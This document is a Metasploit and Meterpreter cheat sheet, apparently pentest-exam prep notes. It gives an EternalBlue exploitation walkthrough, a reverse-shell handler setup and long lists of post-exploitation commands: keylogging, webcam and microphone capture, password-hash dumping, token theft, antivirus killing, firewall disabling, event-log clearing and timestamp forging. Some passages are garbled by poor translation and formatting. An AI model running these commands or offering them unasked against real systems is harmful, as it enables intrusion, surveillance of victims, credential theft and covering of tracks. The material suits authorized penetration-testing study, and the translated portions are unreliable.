

# Metasploit&Meterpreter;

See [*Metasploit Unleashed Course*](<https://www.offensive-security.com/metasploit-unleashed/>)

Search for exploits using Metasploit GitHub framework source code:

[*https://github.com/rapid7/metasploit-framework*](<https://github.com/rapid7/metasploit-framework>)

Translate them for use on OSCP LAB or EXAM.

Metasploit

Metasploit requires Postgresql

```
`systemctl start postgresql`
```

To enable Postgresql on startup

```
`systemctl enable postgresql`
```

MSF Syntax

Start metasploit

```
`msfconsole`
```

```
`msfconsole -q`
```

Show help for command

```
`show -h`
```

Show Auxiliary modules

```
`show auxiliary`
```

Use a module

```
`use auxiliary/scanner/snmp/snmp_enum`
```

```
use auxiliary/scanner/http/webdav_scanner`
```

```
use auxiliary/scanner/smb/smb_version`
```

```
use auxiliary/scanner/ftp/ftp_login`
```

```
use exploit/windows/pop3/seattlelab_pass`
```

Show the basic information for a module

```
`info`
```

Show the configuration parameters for a module

```
`show options`
```

Set options for a module

```
`set RHOSTS 192.168.1.1-254`
```

```
set THREADS 10`
```

Run the module

```
`run`
```

Execute an Exploit

```
`exploit`
```

Search for a module

```
`search type:auxiliary login`
```

Metasploit Database Access

Show all hosts discovered in the MSF database

```
`hosts`
```

Scan for hosts and store them in the MSF database

```
`db_nmap`
```

Search machines for specific ports in MSF database

```
`services -p 443`
```

Leverage MSF database to scan SMB ports (auto-completed rhosts)  
`services -p 443 --rhosts`

You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not officially part of the indend  
<https://www.youtube.com/watch?v=4OHLor9VaRI>

1. First step is to configure the Kali to work with wine 32bit

```
`dpkg --add-architecture i386 && apt-get update && apt-get install wine32
rm -r ~/.wine
wine cmd.exe
exit`
```

2. Download the exploit repository

<https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit>

3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb

4. Start metasploit console (spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.)

```
`use exploit/windows/smb/eternalblue_doublepulsar
msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
RHOST => 10.11.1.73
msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
PROCESSINJECT => spoolsv.exe
msf exploit(eternalblue_doublepulsar) > run`
```

####Experimenting with Meterpreter####

Get system information from Meterpreter Shell

```
`sysinfo`
```

Get user id from Meterpreter Shell

```
`getuid`
```

Search for a file

```
`search -f *pass*.txt`
```

Upload a file

```
`upload /usr/share/windows-binaries/nc.exe c:\\Users\\Offsec`
```

Download a file

```
`download c:\\Windows\\system32\\calc.exe /tmp/calc.exe`
```

Invoke a command shell from Meterpreter Shell

```
`shell`
```

Exit the meterpreter shell

```
`exit`
```

Metasploit Exploit Multi Handler

multi/handler to accept an incoming reverse\_https\_meterpreter

```
`payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on https://$ip:443/`
```

Building Your Own MSF Module

```
`mkdir -p ~/.msf4/modules/exploits/linux/misc
cd ~/.msf4/modules/exploits/linux/misc
cp
/usr/share/metasploitframework/modules/exploits/linux/misc/gld\_postfix.rb
./crossfire.rb
nano crossfire.rb`
```

Post Exploitation with Metasploit - (available options depend on OS and Meterpreter Capabilities)

```
- `download` Download a file or directory
`upload` Upload a file or directory
`portfwd` Forward a local port to a remote service
`route` View and modify the routing table
`keyscan_start` Start capturing keystrokes
`keyscan_stop` Stop capturing keystrokes
`screenshot` Grab a screenshot of the interactive desktop
`record_mic` Record audio from the default microphone for X seconds
`webcam_snap` Take a snapshot from the specified webcam
`getsystem` Attempt to elevate your privilege to that of local system.
`hashdump` Dumps the contents of the SAM database
```

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#### ####Meterpreter Study Notes

##### # Basic system commands

```
background          # placed in the background of the current session
Sessions            # Sessions to see -h help
sessions -i <ID value> # kill -k session into the session
bgrun / RUN         # implementation of the existing module, double-click the tab enter the run, has been
info                # View existing module information
getuid              # View current user identity
getprivs            # View current user permissions
getpid              # Get current process ID (PID)
sysinfo             # View target machine system information
irb                 # Open ruby terminal
ps                  # View is running Process
kill <PID value>     # Kill the specified PID process
idletime            # View target idle time
reboot / shutdown   # Restart / Shutdown
shell               # Enter target cmd shell
```

##### # Common cmd commands

```
Whoami              # Current privilege
quser               # Query current online administrator
net user            # View existing user
net user username/password/add # Add user and corresponding password
net localgroup User group name username/add # Add the specified user to the specified user group
netstat -ano        # Query the current network connection communication in the computer, LISTENING indicates
systeminfo          # View the details of the current computer
tasklist /svc       # View each process corresponding to services
taskkill / f / im program name # name of the end of a specified program
taskkill / f / PID ID # end of a specified process PID
tasklist | findstr "string"    # Find content specified output
logoff              # cancellation of a Specify the user's ID
shutdown -r         # Restart the current computer
netsh advfirewall setAllprofiles state off # Turn off the firewall
```

##### # Uictl switch keyboard / mouse

```
Uictl [ enable/disable ] [ keyboard/mouse/all ] # enable or disable keyboard/mouse
uictl disable mouse # disable mouse
uictl disable keyboard # disable keyboard
```

##### # Execute executable file

```
the Execute # executable file on the target machine
execute -H -i -f cmd.exe create a new process cmd.exe #, -H invisible, -i interactive
execute -H -m -d notepad.exe -f payload.exe - a "-o hack.txt"
# -d Process name displayed during execution of the target host (for masquerading) -m Direct execution from memory
"-o hack.txt" is the running parameter of payload.exe
```

##### # Migrate process migration

```
Getpid             # Get the current process's pid
ps                 # View the current active process
migrate <pid value> # Migrate the Meterpreter session to the specified pid value in the process
kill <pid value>    #kill the process
```

##### # Clearav clear log

```
Clearav # Clear application logs, system logs, security logs in windows
```

##### # Timestamp forged timestamp

```

Timestamp C: \\ -h
View help timestamp -v C: \\ 2 .txt
View timestamp timestamp C: \\ 2 .txt -f C: \\ 1 .txt #Copy the timestamp of 1.txt Give
2. txt timestamp c: \\ test \\ 22 .txt -z "03/10/2019 11:55:55" -v # Set the four properties to uniform time

# Portfwd port forwarding
Portfwd add -l 1111 -p 3389 -r 127 .0.0.1 #Forward the 3389 port of the target machine to the local port 1111
rdesktop 127 .0.0.1:1111 # Need to enter the username and password to connect
rdesktop -u Administrator -p 123 127 .0.0.1:1111 # -u username -p password

# Autoroute add route
run autoroute -h # View help
run get_local_subnets # View target intranet segment address
run autoroute -s 192 .168.183.0/24 # Add target network segment route
run autoroute -p # View added route
run post/windows/gather/arp_scanner RHOSTS = 192 .168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS = 192 .168.183.146 PORTS = 3389

# Socks agent
Reference: https://www.freebuf.com/articles/network/125278.html
use auxiliary/server/socks4a
    set srvhost 127 .0.0.1
    set srport 2000
run

# Common script
Run arp_scanner -r 192 .168.183.1/24 # Use arp for surviving host scan
run winenum # automate some detection scripts
run credcollect # get user hash
run domain_list_gen # get domain management account list
run post/multi/gather/env # get User environment variable
run post/windows/gather/enum_logged_on_users -c # List current login user
run post/linux/gather/checkvm # virtual machine
run post/windows/gather/checkvm # virtual machine
run post/windows/gather/Forensics/enum_drives # View memory information
run post/windows/gather/enum_applications # Get installation software information
run post/windows/gather/dumplinks # Get recently accessed documents, link information
run post/windows/gather/enum_ie # Get IE cache
run post/windows/gather/enum_firefox # Get firefox cache
run post/windows/gather/enum_chrome # Get Chrome cache
run post/multi/recon/local_exploit_suggester # Get local privilege vulnerability
run post/windows/gather/enum_patches # Get patch information
run post/windows/gather/enum_domain # Find domain control
run post/windows/gather/enum_snmp # Get snmp community name
run post/windows/gather/credentials/vnc # Get vnc password
run post/windows/wlan/Wlan_profile # Used to read the target host WiFi password
run post/multi/gather/wlan_geolocate # Based on wlan, the location confirmation file is located at /root/.msf4/loot
run post/windows/manage/killav close antivirus software

# Common crack module
Auxiliary/scanner/mssql/mssql_login
Auxiliary/scanner/ftp/ftp_login
Auxiliary/scanner/ssh/ssh_login
Auxiliary/scanner/telnet/telnet_login
Auxiliary/scanner/smb/smb_login
Auxiliary/scanner/mssql/mssql_login
Auxiliary/scanner/mysql/mysql_login
Auxiliary/scanner/oracle/oracle_login
Auxiliary/scanner/postgres/postgres_login
Auxiliary/scanner/vnc/vnc_login
Auxiliary/scanner/pcanywhere/pcanywhere_login
Auxiliary/scanner/snmp/snmp_login
Auxiliary/scanner/ftp/anonymous

# Keylogger
Keyscan_start # Start key record
keyscan_dump # Export record data
keyscan_stop # End key record

# Sniffer capture package

```

```

Use sniffer
Sniffer_interfaces    # View NIC
sniffer_start 1      # Select NIC 1 to start capturing
sniffer_stats 1      # View NIC 1 status
sniffer_dump 1 /tmp/wlan1.pcap  # Export pcap packet
sniffer_stop 1       # Stop NIC 1 capture
sniffer_release 1    # Release NIC 1 traffic

# Webcam
record_mic■ # audio recording
webcam_chat  # open a video chat (the other party pop)
webcam_list  # view camera
webcam_snap  # through the camera to take pictures
webcam_stream  # open by video surveillance cameras (to monitor ≈ live as a web page)

# Screen capture
Screenshot  # Screenshots
use espia   # Use espia module
screengrab  # screenshot

# Getgui command
run getgui -h  # View help
run getgui -e  # Open remote desktop
run getgui -u admin -p admin  # Add user
run getgui -f 6666 -e  # 3389 port forward to 6666

```

---

#### CORE COMMANDS

```

? - help menu
background - moves the current session to the background
bgkill - kills a background meterpreter script
bglist - provides a list of all running background scripts
bgrun - runs a script as a background thread
channel - displays active channels
close - closes a channel
exit - terminates a meterpreter session
help - help menu
interact - interacts with a channel
irb - go into Ruby scripting mode
migrate - moves the active process to a designated PID
quit - terminates the meterpreter session
read - reads the data from a channel
run - executes the meterpreter script designated after it
use - loads a meterpreter extension
write - writes data to a channel

```

#### FILE SYSTEM COMMANDS

```

cat - read and output to stdout the contents of a file
cd - change directory on the victim
del - delete a file on the victim
download - download a file from the victim system to the attacker system
edit - edit a file with vim
getlwd - print the local directory
getwd - print working directory
lcd - change local directory
lpwd - print local directory
ls - list files in current directory
mkdir - make a directory on the victim system
pwd - print working directory
rm - delete a file
rmdir - remove directory on the victim system
upload - upload a file from the attacker system to the victim

```

#### NETWORK COMMANDS

```

ipconfig - displays network interfaces with key information including IP address, etc.
portfwd - forwards a port on the victim system to a remote service
route - view or modify the victim routing table

```

#### SYSTEM COMMANDS

```

clearav - clears the event logs on the victim's computer

```

drop\_token - drops a stolen token  
execute - executes a command  
getpid - gets the current process ID (PID)  
getprivs - gets as many privileges as possible  
getuid - get the user that the server is running as  
kill - terminate the process designated by the PID  
ps - list running processes  
reboot - reboots the victim computer  
reg - interact with the victim's registry  
rev2self - calls RevertToSelf() on the victim machine  
shell - opens a command shell on the victim machine  
shutdown - shuts down the victim's computer  
steal\_token - attempts to steal the token of a specified (PID) process  
sysinfo - gets the details about the victim computer such as OS and name

#### User Interface Commands

enumdesktops - lists all accessible desktops  
getdesktop - get the current meterpreter desktop  
idletime - checks to see how long since the victim system has been idle  
keyscan\_dump - dumps the contents of the software keylogger  
keyscan\_start - starts the software keylogger when associated with a process such as Word or browser  
keyscan\_stop - stops the software keylogger  
screenshot - grabs a screenshot of the meterpreter desktop  
set\_desktop - changes the meterpreter desktop  
uictl - enables control of some of the user interface components

#### PRIVILEGE ESCALATION COMMANDS

getsystem - uses 15 built-in methods to gain sysadmin privileges

#### PASSWORD DUMP COMMAND

hashdump - grabs the hashes in the password (SAM) file

#### TIMESTAMP COMMAND

timestamp - manipulates the modify, access, and create attributes of a file